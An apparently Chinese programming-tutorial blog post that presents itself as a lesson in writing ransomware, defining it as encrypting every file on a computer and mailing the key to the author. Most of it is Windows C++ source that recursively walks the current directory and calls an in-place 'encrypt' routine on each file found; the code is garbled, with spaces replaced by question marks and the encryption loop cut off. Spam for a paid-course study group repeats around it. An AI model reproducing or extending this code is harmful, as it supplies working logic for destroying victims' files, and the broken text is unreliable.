一、編程思路
什么是勒索病毒:
遍歷你電腦上所有文件,并且用加密算法加密, 然后把加密秘鑰發送到自己郵箱里,彈出窗口。
工具:操作系統API,加密算法
思路:
1.程序設計 思路規劃清楚
1.1 加密單個文件
1.2 遍歷文件系統并加密文件
2.工程實現: 編程
3.測試上線 :、測試
歡迎加入學習群【892643663】,獲取全套免費C/C++企業實戰級課程資源(素材+源碼+視頻)和編譯大禮包
二、代碼解析
//?文件遍歷加密.cpp?:?定義控制臺應用程序的入口點。 // #include?"stdafx.h" #include? #include?? //加密fileName這個文件 void?jiami(char*?fileName); //遍歷文件夾并找到每一個文件 void?findFile(char*?pathName); int?_tmain(int?argc,?_TCHAR*?argv[]) { // jiami("1.txt"); char?buff[256]?=?{?0?};//2^8??char?8bit GetCurrentDirectory(256,?buff); // printf("文件夾名字是:%s\n",?buff); findFile(buff); while?(1);//死循環??停頓 return?0; } //遍歷文件夾并找到每一個文件 void?findFile(char*?pathName){//不要在C盤運行這個程序 //1?設置要找的文件名 char?findFileName[256]; memset(findFileName,?0,?256);//清空數組 sprintf(findFileName,?"%s\*.*",?pathName); printf("要找的文件名是:%s\n",?findFileName); //2?找這個要找的文件 WIN32_FIND_DATA?findData; HANDLE?hFile?=?FindFirstFile(findFileName,?&findData); if?(INVALID_HANDLE_VALUE?==?hFile){ printf("找文件失敗!\n"); return; } int?ret?=?1; char?temp[256]; while?(ret){ if?(findData.dwFileAttributes?==?FILE_ATTRIBUTE_DIRECTORY? ){ if?(findData.cFileName[0]?!=?'.'){ memset(temp,?0,?256); sprintf(temp,?"%s\%s",?pathName,?findData.cFileName); printf("找到一個文件夾:%s\n",?temp); // Sleep(1000); findFile(temp); } } else{ memset(temp,?0,?256); sprintf(temp,?"%s\%s",?pathName,?findData.cFileName); printf("找到一個文件:%s\n",?temp); //加密這個文件 jiami(temp); } ret?=?FindNextFile(hFile,?&findData); } } //加密fileName這個文件 void?jiami(char*?fileName){ //1?打開文件 FILE*?fp?=?NULL;//文件指針代表一個文件 //????文件名??打開方式?r?r+?w?w+?a?a+ fp?=?fopen(fileName,?"r+");//要能讀能寫并且不能覆蓋 if?(NULL?==?fp){ printf("打開文件失敗!\n"); return; } printf("打開%s文件成功!\n",fileName); //2?拿到文件大小 //2.1?設置光標(文件內容指針)到文件末尾 fseek(fp,?0,?SEEK_END); //2.2?計算光標位置距離文件頭有多少字節 int?size?=?ftell(fp); //2.3?設置光標位置到文件頭 fseek(fp,?0,?SEEK_SET); printf("文件大小為:%d字節!\n",?size); //3?每隔一個字節插入一個字節 char?code?=?'a'; for?(int?i?=?0;?i?
歡迎加入學習群【892643663】,獲取全套免費C/C++企業實戰級課程資源(素材+源碼+視頻)和編譯大禮包
c語言 C 語言 c++
版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。